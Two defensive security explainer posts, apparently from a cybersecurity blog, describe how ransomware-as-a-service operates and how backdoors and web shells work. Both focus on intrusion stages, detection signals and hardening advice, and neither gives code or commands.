Tags: ransomware, raas, double-extortion, cybercrime, threat-intel - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works) ### TL;DR - Ransomware-as-a-service rents ransomware to affiliates, who carry out the intrusions and split the proceeds with the operator who built the tooling. - The model turned ransomware into a division of labour: developers build, affiliates break in, brokers sell access, and negotiators run extortion. - Double extortion steals data before encrypting it, so paying to decrypt does not stop the threat to leak what was taken. - Because affiliates rotate and rebrand, defending the technique beats chasing brand names; the intrusion patterns stay constant. ### Key Takeaways - RaaS lowered the skill needed to run ransomware, widening the pool of attackers and the number of victims. - The affiliate keeps most of the ransom; the operator takes a cut for the malware, the leak site, and the infrastructure. - Double and multi extortion mean backups alone no longer neutralise the threat, because the stolen-data leak is a separate weapon. - Initial access is frequently bought from brokers, so the intrusion often begins with a stolen credential or an exposed service, not novel malware. - Defense priorities are identity hardening, tested offline backups, segmentation, and fast detection of the pre-encryption stage where damage is still preventable. Ransomware stopped being a lone hacker's tool years ago. It became a supply chain. The people who write the encryptor rarely break into anyone. The people who break in rarely write code. Between them sits a rented platform, a cut of every payment, and a support desk. This is ransomware-as-a-service, and it explains why the volume of attacks kept climbing even as any single crew got taken down. Treating ransomware as a business, with roles and margins and marketing, is the clearest way to understand why it is hard to stop and where a defender actually has leverage. ## What ransomware-as-a-service means Ransomware-as-a-service, or RaaS, is a subscription or profit-sharing arrangement. An operator builds and maintains the ransomware: the encryptor, the control panel, the payment site, and the public leak site where victims get named. Affiliates rent access to all of that and use it to run their own intrusions. When a victim pays, the operator and the affiliate split the money. The arrangement mirrors legitimate software-as-a-service, right down to onboarding guides, dashboards, and support channels. The operator competes for affiliates by offering a better encryptor, a bigger cut, or more reliable infrastructure. The affiliate competes for victims by being good at breaking in. ## The division of labour RaaS works because it splits a complex crime into specialised roles that can be filled independently. | Role | What they do | How they profit | |---|---|---| | Operator or developer | Builds and maintains the ransomware and leak site | Takes a percentage of each ransom | | Affiliate | Breaks in, moves laterally, deploys the encryptor | Keeps the larger share of the ransom | | Initial access broker | Sells ready-made footholds into networks | Paid per access, before any ransom | | Negotiator and support | Runs the victim chat and pressure campaign | Salaried or cut of proceeds | | Launderer | Moves and cashes out the cryptocurrency | Fee on the laundered amount | No single person needs every skill. An affiliate who cannot write malware rents it. An affiliate who cannot get in buys access from a broker. This is why the barrier to running a ransomware attack dropped so far, and why the population of attackers grew. The brokers deserve special attention, because they decouple the break-in from the extortion. To see who supplies access and who buys it, our Threat Groups directory tracks the ransomware operations and the access brokers that feed them. ## Double extortion changed the math Early ransomware had one lever: encrypt the files and sell the decryption key. A victim with good backups could restore and refuse to pay. Attackers answered with double extortion. In a double-extortion attack, the affiliate steals a copy of the data before encrypting anything. Now there are two threats. Pay, or you cannot decrypt your files. Pay, or we publish your data on the leak site. Backups solve the first problem and do nothing for the second. Some crews extend this to multi extortion, adding pressure such as contacting customers, partners, or regulators, or launching denial-of-service against the victim. This is why the modern advice treats a ransomware incident as a data breach from the first hour. The encryption maps to [Data Encrypted for Impact (T1486)](https://attack.mitre.org/techniques/T1486/), but the exfiltration that happened first is the part that keeps costing you after the files are restored. If data was stolen before encryption, clean backups get your operations back but do nothing about the copy the attacker holds. You still face a potential leak, regulatory duties, and notification obligations. Plan for the exfiltration, not only the outage, and involve legal and communications early. ## Why chasing brand names fails RaaS brands appear, get disrupted, and rebrand under new names constantly. Affiliates are not loyal; they work with whichever operation offers the best terms, and the same affiliate may deploy several different ransomware families over a year. Law enforcement takedowns remove infrastructure, and the people scatter and regroup. For a defender, this means the specific family in the ransom note is nearly the least useful detail. The parts that stay constant are how affiliates get in and how they behave once inside. Those patterns repeat across brands, which is exactly why defending the technique pays off while tracking the brand does not. ## The intrusion usually starts small Despite the sophisticated economy behind it, a RaaS intrusion tends to begin unglamorously: - **A valid credential**, phished or bought from a stealer log, used against a remote-access service or VPN. - **An exposed or vulnerable service** reachable from the internet. - **A purchased foothold** from an access broker who already did the break-in. From there the affiliate follows a familiar path: establish persistence, escalate privileges, move laterally, find and copy the valuable data, disable backups and security tools, then deploy the encryptor everywhere at once. The encryption is the final act. Everything valuable to the defender happens in the days before it, while the affiliate is still moving quietly. ## How to detect and defend Because encryption is the last step, the entire window before it is an opportunity to detect and contain. Priorities that match how RaaS actually operates: 1. **Harden identity first.** Most intrusions start with a credential. Enforce phishing-resistant multi-factor authentication on every remote-access path, retire legacy protocols that skip it, and monitor for impossible logins and new access from unusual locations. 2. **Keep offline, tested backups.** Follow a 3-2-1 approach and keep at least one copy offline or immutable so an affiliate who reaches your backups cannot delete them. Test restores, because an untested backup is a guess. 3. **Segment the network.** Flat networks let one foothold reach everything. Segmentation slows lateral movement and buys detection time. 4. **Detect the pre-encryption stage.** Hunt for the behaviour that precedes deployment: mass file access, backup deletion, security tools being disabled, and large outbound transfers that signal exfiltration. Catching any of these can stop the attack before encryption. 5. **Watch for exfiltration.** Because double extortion steals data first, unusual outbound volume to unfamiliar destinations is both a ransomware warning and a breach in its own right. 6. **Reduce the attack surface.** Patch internet-facing services promptly, remove exposed remote-access endpoints that do not need to be public, and close the exposures brokers sell. 7. **Rehearse the response.** Have an incident plan that treats ransomware as a data breach, with legal, communications, and decision-makers on it before you need them. Two of the most reliable pre-encryption signals are attempts to delete or encrypt backups and attempts to disable endpoint protection. Alert on shadow-copy deletion, backup-service tampering, and security agents being stopped. These almost always precede deployment and give you a narrow window to isolate the affected hosts. Ransomware-as-a-service is durable because it is a functioning market, with specialists, margins, and redundancy. You will not shut down the market. You can make yourself an unprofitable target by hardening the entry points affiliates rely on, keeping backups they cannot reach, and catching the intrusion in the quiet days before the ransom note. The economics only work when the break-in is cheap. Raise that cost and the affiliate moves on. ## Walking through a RaaS intrusion, stage by stage Seeing a full intrusion as an ordered sequence shows where a defender can still act, because encryption is the last step and everything before it is a window. The stages below describe how a typical affiliate operation unfolds after the platform has been rented. It begins with initial access. The affiliate needs a way in, and the three common routes are a valid credential phished or bought from a stealer log, an exposed or vulnerable internet-facing service, or a ready-made foothold purchased from an access broker who already did the break-in. This stage often happens quietly and may not touch anything a victim monitors, which is why it so frequently goes unnoticed. Next comes establishing a foothold and persistence. The affiliate makes sure they can return even if the original access is closed, installing a backdoor, creating an account, or abusing a remote-management tool that blends into normal administration. At this point the intrusion is small and reversible if caught. Then the affiliate escalates privileges and performs discovery. They seek higher-privileged accounts, ideally domain-wide administrative control, and they map the environment: where the file servers are, where the backups live, which security tools are deployed, and what data is valuable. This reconnaissance is deliberate and often spans days, because the affiliate wants to understand the network before acting. Lateral movement follows. Using the credentials and access gathered, the affiliate spreads to more machines, working toward the systems that hold the crown-jewel data and the backup infrastructure. A flat network makes this stage fast, and segmentation makes it slow and noisy. The next stage is the one that changed the economics: data exfiltration. Before encrypting anything, the affiliate copies the valuable data out of the network to storage they control. This is the double-extortion setup, and it is the step that turns a ransomware event into a data breach regardless of whether the victim can restore from backups. Then comes impact preparation. The affiliate disables or deletes backups, stops security tools, and clears logs, removing the victim's ability to recover and to see what is happening. Attempts to delete shadow copies, tamper with backup services, and kill endpoint agents cluster here, and they are among the most reliable warning signs. Finally, deployment. The affiliate pushes the encryptor to as many machines as possible at once, often timed for a night or weekend to slow the response, and the ransom note appears. The encryption maps to MITRE ATT&CK Data Encrypted for Impact. This is the first stage most victims actually notice, and by then the damage of the earlier stages, especially the exfiltration, is already done. By the time the ransom note appears, the affiliate has usually been inside for days, has already stolen the data, and has already crippled the backups. The entire value of detection is in the earlier stages, when the intrusion is still small and the data has not yet left. A defense that only reacts to the encryption is reacting to the end of the story. ## Detection signals across the intrusion Because the encryption is the final act, the days before it are full of behaviour a defender can catch. The signals below map to the stages above, and any one of them deserves investigation. New or unusual remote-access activity is an early signal. Logins to a VPN or remote-desktop service from an unfamiliar location, at an odd hour, or using an account that rarely connects remotely can mark the initial access stage. Impossible-travel logins, where one account authenticates from two distant places in a short time, are a classic indicator. Signs of privilege escalation and discovery follow. Creation of new administrative accounts, sudden use of administrative tools by an account that does not normally run them, and bursts of internal reconnaissance such as scanning for file shares or querying directory services all point to an attacker mapping the environment. Lateral movement leaves traces in authentication logs. The same account logging into many machines in quick succession, use of remote-execution tools to run commands on other hosts, and access to systems a user has no business touching are all worth alerting on. Exfiltration shows up as outbound volume. Large transfers to unfamiliar external destinations, especially to cloud storage or file-transfer services the organisation does not use, signal that data is leaving. Because double extortion steals data first, this is both a ransomware warning and a breach indicator in its own right. Impact preparation is the loudest signal and the last chance. Attempts to delete volume shadow copies, tampering with or stopping backup services, and endpoint protection agents being disabled across multiple machines almost always precede deployment. Alerting on these gives a narrow but real window to isolate hosts before the encryptor runs. ## The economics that keep RaaS alive Understanding the money explains why the model is resilient and where a defender actually has leverage. RaaS works because it distributes both the labour and the risk across specialists, and because each participant is paid in a way that keeps them in the market. The operator earns a percentage of each successful ransom, so their incentive is to recruit capable affiliates and give them reliable tooling, a working leak site, and responsive support. The affiliate keeps the larger share of the ransom, which is their reward for the risky, skilled work of breaking in and moving through the network. The access broker is paid up front, per access, before any ransom is collected, which decouples their income from whether the extortion succeeds and gives them a steady business selling footholds. The negotiator and support staff are paid a salary or a cut for running the victim chat and applying pressure. The launderer takes a fee for moving and cashing out the cryptocurrency. This structure has two consequences that matter to defenders. First, no single participant needs the full skill set, which is why the population of attackers grew: an affiliate who cannot write malware rents it, and one who cannot break in buys access. Second, the model is redundant. Take down one operator and the affiliates move to another, take down a broker and others fill the gap, because the roles are modular and the market rewards whoever fills them. You cannot defeat the market by removing one participant. The leverage for a defender sits in the economics of the break-in. The affiliate's business only works when access is cheap and intrusions are quick. Every control that makes your organisation harder or slower to break into raises the affiliate's cost, and affiliates, being rational operators chasing margin, prefer easier targets. You do not have to make an attack impossible, you have to make your organisation a worse deal than the next one. ## RaaS compared with other cybercrime models RaaS is one instance of a broader shift toward crime delivered as a service, and placing it alongside its relatives clarifies what is distinctive about it. | Model | What is rented or sold | Buyer's role | |---|---|---| | Ransomware-as-a-service | The encryptor, leak site, and payment infrastructure | Affiliate breaks in and deploys, splits the ransom | | Access-as-a-service | Ready-made footholds into breached networks | Buyer decides what to do with the access | | Malware-as-a-service | A specific malware family, such as a loader or stealer | Buyer runs their own campaign with it | | Phishing-as-a-service | Phishing kits, templates, and hosting | Buyer runs the phishing operation | | Denial-of-service for hire | Access to a stress or botnet service | Buyer points the attack at a target | The pattern across all of these is specialisation and rental, which lowers the skill and capital needed to commit a given crime. RaaS is distinctive because it sits at the top of this stack and consumes the others: a RaaS affiliate often buys access from an access-as-a-service broker, may use malware-as-a-service tooling for parts of the intrusion, and may have reached the victim through a phishing-as-a-service campaign. RaaS is the assembly point where these services combine into a full extortion operation. ## Common misconceptions about RaaS Several assumptions lead defenders to prepare for the wrong thing. Good backups make ransomware a non-event. Backups restore your operations, and they do nothing about data the affiliate stole before encrypting. Double extortion means a clean restore still leaves you facing a potential leak, regulatory duties, and notification obligations. Backups are necessary and not sufficient. The specific ransomware family in the note is the key detail for defense. Affiliates rotate between families and operations rebrand constantly, so the family name is nearly the least durable fact about an incident. What stays constant is how affiliates get in and how they behave inside, and defending those patterns pays off while chasing brand names does not. Paying the ransom makes the problem go away. Payment may yield a decryption key, and it carries no guarantee that the stolen data is deleted, that the decryptor works fully, or that the victim will not be targeted again. It also funds the market. Whether to pay is a serious legal and business decision, and it is not a clean exit. Only large enterprises are targeted. Affiliates target whoever is profitable to breach, and small and mid-sized organisations are attractive precisely because they often have weaker controls and still enough revenue to pay. The low cost of entry that RaaS created widened the range of viable victims downward. Ransomware is a sophisticated, novel-malware problem. The intrusion usually starts with something unglamorous: a stolen credential, an exposed service, or a purchased foothold. The sophistication is in the business model and the operation, and the entry point is often mundane, which is good news because mundane entry points are exactly what identity hardening and attack-surface reduction close. ## How the model evolved Ransomware began as an unsophisticated, high-volume nuisance. Early campaigns encrypted individual machines more or less at random, demanded small payments, and relied on victims lacking backups. The economics were thin, and a victim with a recent backup could simply restore and ignore the demand. Two changes turned it into the industry it is now. The first was the shift to human-operated, targeted intrusions, where an attacker breaks in, takes control of the whole network, and deploys the encryptor everywhere at once for a single large ransom, rather than spraying it at individuals. That raised the payoff per victim dramatically and rewarded skill and patience. The second was the affiliate model itself, which split the now more complex crime into rentable specialties, so that operators who built good tooling could profit from affiliates' break-ins, and affiliates without development skills could still run attacks. Together these created a market with margins, competition, and reinvestment. Double extortion was the next escalation, adding data theft before encryption so that backups alone no longer neutralised the threat. Some operations extended this to multi extortion, layering on pressure such as contacting the victim's customers, partners, or regulators, or launching denial-of-service against the victim to add urgency. Alongside these tactics came a supporting economy of initial access brokers who specialise in breaking in and selling footholds, which decoupled the intrusion from the extortion and fed affiliates a steady supply of targets. Each step made the model more resilient and the defensive priorities clearer: harden identity, keep backups the attacker cannot reach, segment the network, and detect the quiet pre-encryption stage where the damage is still preventable. ## Frequently asked questions **What exactly is ransomware-as-a-service?** It is a profit-sharing or subscription arrangement where an operator builds and maintains the ransomware, the payment site, and the leak site, and affiliates rent access to run their own intrusions. When a victim pays, the operator and affiliate split the money. It mirrors legitimate software-as-a-service, with onboarding, dashboards, and support, which is what made running ransomware accessible to attackers who could not build it themselves. **Why does double extortion matter so much?** Double extortion steals a copy of the data before encrypting anything, so the victim faces two separate threats: they cannot decrypt their files, and their stolen data will be leaked. Backups solve the first and do nothing for the second. That is why modern guidance treats a ransomware incident as a data breach from the first hour, involving legal and communications early. **If I have good backups, am I safe from RaaS?** Backups are essential and not sufficient. They restore your operations after encryption, and they do nothing about data the affiliate exfiltrated before encrypting. With double extortion you still face a potential leak and the regulatory and notification duties that come with a breach. Keep tested, offline or immutable backups, and also plan for the exfiltration. **Should we focus on the specific ransomware group that hit us?** The specific family is one of the least durable details, because affiliates switch families and operations rebrand frequently. What stays constant is how affiliates gain access and behave inside a network, so defending those techniques generalises across groups. Track the brand for reporting and threat intelligence, and build your defenses around the intrusion patterns. **Where does a RaaS attack usually start?** It usually begins unglamorously: a valid credential that was phished or bought from a stealer log, an exposed or vulnerable internet-facing service, or a foothold purchased from an access broker who already broke in. Novel malware is rarely the entry point, which is why identity hardening and attack-surface reduction close so many intrusions before they start. **What is the single most valuable detection opportunity?** The pre-encryption stage, especially attempts to delete or encrypt backups and to disable security tools. These almost always precede deployment and give a narrow window to isolate affected hosts before the encryptor runs. Watching for large outbound transfers also catches the exfiltration that double extortion depends on. **Does paying the ransom resolve the incident?** Not cleanly. Payment may produce a decryption key, and it does not guarantee the decryptor works fully, that the stolen data is deleted, or that you will not be hit again, and it funds the criminal market. It is a significant legal and business decision with real risk on both sides, and it should be made with legal counsel rather than treated as a simple fix. ## Related guides - [Colonial Pipeline Explained](/colonial-pipeline-explained) - [Ransomware Anatomy](/ransomware-anatomy) - [Initial Access Brokers Explained](/initial-access-brokers-explained) - [Cybercrime-as-a-Service Explained](/cybercrime-as-a-service-explained) - [The 3-2-1 Backup Strategy Guide](/3-2-1-backup-strategy-guide) ### Sources - MITRE ATT&CK: Data Encrypted for Impact (T1486) (MITRE): https://attack.mitre.org/techniques/T1486/ - CISA: StopRansomware (CISA): https://www.cisa.gov/stopransomware - NIST: Ransomware Risk Management (NISTIR 8374) (NIST): https://csrc.nist.gov/pubs/ir/8374/final --- ## What Is a Backdoor? Hidden Access and Web Shells Explained > A backdoor is a hidden way back into a system that skips normal authentication. How backdoors and web shells work, how they persist, and how to detect them. - URL: https://blog.pwnsy.com/what-is-a-backdoor - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: backdoor, web-shell, malware, persistence, command-and-control - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - A backdoor is any hidden mechanism that lets someone into a system while bypassing the normal authentication, so they can return whenever they want. - Backdoors take many forms: a planted account, a listening service, a modified binary, or a web shell dropped onto a compromised web server. - A web shell is a backdoor for web servers, a small script that turns an ordinary web request into command execution on the host behind it. - The defining property of a backdoor is persistent, authentication-free re-entry, so detection centres on integrity monitoring and spotting unexpected access paths. ### Key Takeaways - A backdoor exists so an attacker can come back. It is the re-entry mechanism, separate from whatever payload first got them in. - Web shells are among the most common server backdoors, because a single writable web directory and a small script give command execution over normal web traffic. - Backdoors can be planted by attackers, hidden in supply-chain components, or left as an insider risk, which is why code and file integrity matter as much as perimeter defense. - Backdoor behaviour maps to MITRE ATT&CK across Persistence, Server Software Component: Web Shell (T1505.003), and Create Account (T1136). - Detection relies on file integrity monitoring, baseline of accounts and listening services, and watching web servers for requests that trigger command execution. Getting into a system is hard work. Staying able to get back in should be easy, and attackers make sure it is. Once they are inside, one of the first things they do is plant a way to return that does not depend on the flaw they used the first time, does not need a password, and does not show up as a normal login. That hidden way back in is a backdoor. The concept is old and broad. A backdoor is any mechanism that grants access to a system while bypassing the normal authentication controls. It can be a secret account, a hidden service listening for a special knock, a tampered program that accepts a magic input, or a script dropped onto a web server. What they share is intent: quiet, repeatable re-entry on the attacker's terms. ## The one thing every backdoor does A backdoor exists to give someone access without going through the front door. That is the whole definition, and it is worth separating from the malware that often accompanies it. The exploit that got the attacker in, the RAT that gives them control, the tool that steals data: those are payloads. The backdoor is specifically the re-entry mechanism, the guarantee that losing the initial foothold does not mean losing access. Because the goal is durable access, backdoors live under the **Persistence** tactic on MITRE ATT&CK, and they overlap with command-and-control since re-entry usually means a channel back to the operator. Common forms a backdoor takes: - **A rogue account**, created or hijacked, sometimes with quiet high privilege. This maps to [Create Account (T1136)](https://attack.mitre.org/techniques/T1136/). - **A listening service** on the host that waits for the attacker to connect or for a trigger. - **A trojanised binary or library**, a legitimate program modified to accept a hidden input. - **A web shell**, the server-side script covered below. - **A supply-chain implant**, malicious code baked into software before it ever reaches the victim. ## Web shells: the web server backdoor The most common backdoor most defenders will meet is the web shell, so it deserves its own section. A **web shell** is a small script, written in whatever language the web server runs, that an attacker uploads into a web-accessible directory. Once it is there, the attacker visits it like any other page and passes commands to it through the request. The script runs those commands on the server and returns the output in the response. The elegance, from the attacker's point of view, is that it needs almost nothing. No new port, no inbound connection a firewall would block, no separate malware to install. The web server is already listening on ports the firewall allows, already runs the scripting engine, and already faces the internet. A single writable directory and one small file convert all of that into remote command execution. This behaviour is [Server Software Component: Web Shell (T1505.003)](https://attack.mitre.org/techniques/T1505/003/). Web shells get planted through the flaws that let an attacker write a file to the server: an unrestricted file-upload feature, a path traversal bug, an injection that writes to disk, or stolen management credentials. Once planted, the shell blends into a directory full of legitimate files, which is what makes it hard to find by eye. Patching the vulnerability an attacker used to get in does not remove a backdoor they already planted. The web shell, rogue account, or listening service they left behind still works, because it does not depend on the original flaw. Incident response has to hunt for and remove the re-entry mechanism separately, or the attacker simply walks back in through it. ## How backdoors get planted Backdoors arrive by several routes, and the route shapes how you defend: | Source | How it happens | Where to catch it | |---|---|---| | Attacker post-exploitation | Planted after an intrusion to keep access | Integrity monitoring, account and service baselines | | Web application flaw | File upload or injection drops a web shell | Input validation, write-protected web roots, log review | | Supply chain | Malicious code hidden in a dependency or product | Code review, dependency vetting, build integrity | | Insider | A trusted person leaves a hidden way in | Code review, least privilege, separation of duties | The delivery of a standalone backdoor payload often rides the same abused file formats as other malware, the scripts, archives, and installers tracked in our File-Format Abuse Atlas. The actors who plant durable backdoors to keep long-term access, and the ones who buy that access from others, are the kind tracked in our Threat Groups directory. ## How to detect a backdoor Because backdoors are built to look normal, detection is about knowing what "normal" is and watching for quiet additions to it. **File integrity monitoring.** Web shells and trojanised binaries mean files changed or appeared. Monitoring web directories and system binaries for new or modified files, especially scripts that showed up without a deployment, surfaces many backdoors. **Baseline accounts and privileges.** Enumerate the accounts that should exist and alert on new ones, particularly privileged accounts created outside the normal process. A rogue admin account is a backdoor hiding in plain sight. **Baseline listening services.** Know what should be listening on each host. A new listening port or service with no owning change record is worth immediate investigation. **Watch web server behaviour.** Requests to obscure or newly created files, a web server process spawning a command shell, or a script directory receiving unexpected POST requests are strong web-shell signals. Server logs and process monitoring together catch what either misses alone. **Review outbound connections.** A backdoor that calls out looks much like RAT C2: regular beacons to an unfamiliar destination. Egress monitoring applies here too. ## How to defend against backdoors Defense combines prevention, hardening, and the assumption that you will have to hunt. 1. **Fix the entry paths.** Validate and restrict file uploads, patch web application flaws, and never allow untrusted input to write into a web-executable directory. Most web shells rely on one of these gaps. 2. **Write-protect what should not change.** Make web roots and system binaries read-only where feasible, so a backdoor cannot simply be dropped in. 3. **Enforce least privilege.** A backdoor running as a low-privilege account is far more limited, and struggles to hide a privileged foothold. 4. **Baseline and monitor.** Maintain baselines of files, accounts, and listening services, and alert on additions. Backdoors reveal themselves as unexplained new entries. 5. **Control egress.** Deny outbound by default where you can, and watch for beacons. A backdoor that cannot phone home loses much of its value. 6. **Hunt after any intrusion.** When you find and fix a breach, assume a backdoor was planted and search for it explicitly. Closing the original hole is not the end of the job. After any confirmed compromise, run two tasks in parallel: patch the vulnerability that was used, and separately hunt for re-entry mechanisms the attacker may have left, new accounts, web shells, listening services, and modified binaries. Skipping the second task leaves the door propped open even after the wall is fixed. ## How backdoors evolved The idea is as old as multi-user computing. Early systems sometimes shipped with maintenance accounts and default credentials that doubled as unintended backdoors, and the notion of a hidden trigger in a trusted program was discussed in foundational security literature decades ago. As networks connected, backdoors moved from local accounts to network-listening services, and attackers began installing them deliberately after a break-in to guarantee return access. Firewalls changed the shape of the problem. Once perimeters routinely blocked unsolicited inbound connections, the bind model that waited for a connection became unreliable, and attackers shifted to reverse-connecting backdoors that dial outward from inside the network. The growth of web applications then created the web shell, which sidesteps the network question entirely by riding the web server's own listening port and scripting engine. More recently, the supply chain has become a favored delivery route. Rather than breaching a target directly, an attacker plants a backdoor in a widely used component or product, which then reaches many victims through the trusted update process. The re-entry property has stayed constant across all of these eras. What changed is where the backdoor lives and how it connects, driven each time by whatever the prevailing defense made harder. ## Where backdoors hide Knowing the common hiding places focuses a hunt. On web servers, shells blend into directories full of legitimate scripts, sometimes named to resemble framework files, and sometimes appended to an existing legitimate file so the directory listing looks unchanged. In the account layer, a backdoor may be a brand-new user or a dormant existing account quietly granted new privileges, which is easy to overlook without an explicit baseline. In services and scheduled tasks, a backdoor persists as an entry that runs on boot or on a timer, often named to imitate a system component. In binaries and libraries, a trojanized version of a legitimate program accepts a hidden input while behaving normally otherwise, which is why integrity monitoring of system files matters. In configuration, a subtle change such as an added authorized key or an altered startup script can grant re-entry with no executable to find at all. The through-line is camouflage. Every durable backdoor is chosen or shaped to resemble something that belongs, which is precisely why detection depends on knowing your baseline well enough to notice the one entry that does not fit. ## A worked example: from upload to re-entry Following a web shell from the moment it lands shows why patching the original bug does not evict the attacker. The starting point is a writable, web-accessible directory and a flaw that lets the attacker place a file in it. That flaw might be an upload feature that fails to validate file type or extension, a path traversal that writes outside the intended folder, an injection that writes to disk, or simply stolen administrative credentials for the site. The attacker uploads a small script into the web root. The script is short by design, often a single line that reads a parameter from the incoming request and passes it to the server's command execution facility. From then on, re-entry needs nothing exotic. The attacker requests the script like any other page and includes a command in the request. Because a POST body or a header can carry the command, the traffic can look like an ordinary form submission. The server executes the command in the context of the web server process and returns the output in the response body. The attacker now has interactive command execution over the same port and protocol the site already serves, with no new listening service and no inbound connection a firewall would block. The critical property is independence from the original flaw. Suppose the security team later fixes the upload validation that allowed the file to be placed. The shell is already on disk, and it does not rely on the upload path to function. It relies only on being reachable as a web resource. Closing the entry hole prevents a second shell from being planted the same way, and it does nothing to the one already there. Eviction requires finding and deleting the file, rotating any credentials the attacker may have captured, and reviewing what the shell was used to do. This is the concrete reason incident response treats the vulnerability and the implant as two separate tasks, covered in [CISA's guidance on detecting and mitigating web shells](https://www.cisa.gov/news-events/alerts/2020/05/26/detecting-web-shells-improve-your-web-server-security). ## Backdoors compared to related malware The word backdoor is often used loosely alongside other terms. Separating them clarifies what to hunt for. | Concept | What it is | Relationship to a backdoor | |---|---|---| | Backdoor | A hidden, authentication-free re-entry mechanism | The category itself | | Web shell | A server-side script giving command execution over web requests | One common form of backdoor | | RAT | Remote-access malware that gives interactive control | Often includes a backdoor for re-entry | | Rootkit | Code that hides an attacker's presence at a deep level | Frequently protects or conceals a backdoor | | Bind vs reverse listener | A service that waits for a connection, or one that dials out | Two connection models a backdoor can use | The distinctions matter for detection. A rootkit hides a backdoor, so integrity and behavioral checks have to account for concealment. A RAT bundles a backdoor with control features, so finding the C2 channel often leads to the re-entry mechanism. A web shell needs no separate channel at all, which is why web-server behavior is its own detection surface. ## Bind and reverse: how a backdoor connects Beyond the web-shell model, network backdoors use one of two connection directions, and knowing which shapes both detection and defense. A bind model has the backdoor open a listening port on the victim and wait for the attacker to connect inward. It is simple, and it is fragile against a firewall, because most perimeters block unsolicited inbound connections. Baselining listening services catches this model well: a new listener with no change record is a strong signal. A reverse model has the backdoor initiate the connection outward to the attacker, who is listening. This defeats inbound firewall rules, because the connection originates inside the network where outbound is often permitted. It looks much like the beaconing of remote-access malware, so egress monitoring and outbound connection review are the controls that catch it. A backdoor that cannot reach the internet loses most of its value, which is why deny-by-default egress is so effective. Not every backdoor is a file. An extra account, especially a privileged one created outside the normal provisioning process, is a re-entry mechanism that leaves no malware to scan for. It survives reboots, updates, and even a rebuild that restores from a compromised backup. This is why baselining accounts and alerting on privileged additions belongs beside file integrity monitoring, and why [Create Account (T1136)](https://attack.mitre.org/techniques/T1136/) sits squarely in the persistence toolkit. ## Common misconceptions **"Patching the vulnerability removes the backdoor."** It does not. A planted backdoor is independent of the flaw used to plant it. Patching prevents a fresh compromise by the same route and leaves any existing implant fully functional. **"Antivirus will find a web shell."** Some web shells are detected, and many are small, obfuscated, or custom enough to evade signatures. They also blend into a directory of legitimate files. Integrity monitoring of the web root, which flags files that appeared without a deployment, is more reliable than signature scanning alone. **"Only external attackers plant backdoors."** Backdoors also arrive through the supply chain, hidden in a dependency or product before it reaches the victim, and through insiders who leave a hidden way in. Code review, dependency vetting, and separation of duties address these routes that perimeter defense never sees. **"A firewall blocks backdoor access."** A firewall blocks unsolicited inbound connections, which stops the bind model. It does not stop a reverse-connecting backdoor that dials outward, nor a web shell that rides the web port the firewall already allows. Egress control and application-layer monitoring are needed for those. ## Frequently asked questions **What is the difference between a backdoor and a RAT?** A backdoor is the re-entry mechanism, the means to get back into a system without normal authentication. A RAT, or remote-access trojan, is malware that gives an attacker interactive control of a machine, and it usually contains a backdoor so the operator can return. Every RAT implies a backdoor, and not every backdoor is a full RAT. A lone rogue account or a one-line web shell is a backdoor without being a RAT. **Is a web shell a backdoor?** Yes. A web shell is one of the most common server-side backdoors. It is a small script placed in a web-accessible directory that turns ordinary web requests into command execution on the host, which fits the definition of authentication-free re-entry. It maps to [Server Software Component: Web Shell (T1505.003)](https://attack.mitre.org/techniques/T1505/003/). **Why does patching not remove a backdoor?** The backdoor does not depend on the vulnerability that was used to install it. Once a web shell, rogue account, or listening service is in place, it works on its own terms. Patching closes the entry path against future use and leaves the existing implant intact, so eviction has to be a separate, deliberate hunt. **How do I find a backdoor after a breach?** Run several checks in parallel: file integrity monitoring across web roots and system binaries for files that appeared without a deployment, an account audit for new or newly privileged users, a review of listening services against a known baseline, and egress analysis for unexplained outbound beacons. Any single check can miss a form the others catch, so combine them. **Can a backdoor exist without any malware file?** Yes. A rogue account is a backdoor with no file to scan. A modification to a legitimate configuration or a subtle change to an existing binary can also serve as re-entry. This is why baselining accounts, services, and file integrity matters as much as malware scanning. **What is the difference between a bind and a reverse backdoor?** A bind backdoor opens a listening port on the victim and waits for the attacker to connect inward, which a firewall usually blocks. A reverse backdoor initiates an outbound connection to the attacker, which slips past inbound firewall rules because the connection starts inside the network. Reverse backdoors are more common for that reason, and egress monitoring is the control that catches them. **How is a supply-chain backdoor different?** A supply-chain backdoor is hidden in software before it reaches the victim, so it arrives inside a trusted, signed product through the normal update process. There is no perimeter breach to detect, which is why code review, dependency vetting, and build integrity are the relevant defenses. The re-entry property is the same; only the delivery differs. **Does encryption or full-disk encryption protect against backdoors?** No. A backdoor runs on the live system where data is already decrypted for use, so it operates with the same access the legitimate user or service has. Encryption protects data at rest against physical theft of the drive, and it does nothing about an implant executing on a running host. The controls that matter are integrity monitoring, baselining, least privilege, and egress control. **Can rebuilding a server guarantee the backdoor is gone?** Only if the rebuild uses a known-clean source. If the attacker planted the backdoor before a backup was taken, restoring that backup reintroduces it, and a rogue account or authorized key can survive a restore. Rebuild from trusted media, rotate all credentials, and verify accounts and configuration against a baseline rather than assuming a reinstall is sufficient. Backdoors are the reason a single breach can turn into a long-running problem. They decouple access from the flaw that first allowed it, so the attacker keeps a key even after you change the lock. Harden the paths that let one get planted, know your baseline well enough to notice quiet additions, and after any intrusion, assume a way back in exists and go find it. ## Related guides - [The xz-utils Backdoor](/xz-utils-backdoor-explained) - [What Is a RAT](/what-is-a-rat) - [Malware Persistence Techniques](/malware-persistence-techniques) - [Command and Control Explained](/command-and-control-explained) - [What Is a Rootkit](/what-is-a-rootkit) - [What Is an Infostealer](/what-is-an-infostealer) ### Sources - MITRE ATT&CK: Server Software Component: Web Shell (T1505.003) (MITRE): https://attack.mitre.org/techniques/T1505/003/ - MITRE ATT&CK: Create Account (T1136) (MITRE): https://attack.mitre.org/techniques/T1136/ - CISA: Detecting and Mitigating Web Shells (CISA): 